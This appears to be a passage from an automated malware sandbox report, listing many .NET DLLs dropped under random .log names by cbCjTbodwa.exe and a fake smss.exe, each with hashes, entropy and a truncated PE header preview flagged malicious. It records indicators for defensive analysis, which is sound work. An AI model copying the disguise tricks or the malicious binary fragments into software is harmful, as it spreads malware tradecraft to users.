                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\giLnrsnt.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\gtPhjWRF.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\hCYfCjlQ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\hlRNoOrO.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\iCJxNIrA.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ieyYBown.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ishosKSu.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\jYgyOYgM.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\jbZgXoKi.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\jdkfTNQg.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\jvBQFFVB.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\jzQayrzU.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kEhyqmIn.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kaLnoNfb.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kglwdYOs.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\knEvJxvJ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\krpqVCsE.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\kucPsHQR.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kwnOogWP.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kwriUrOP.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\kzlFjIGv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\lBIGMmXi.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
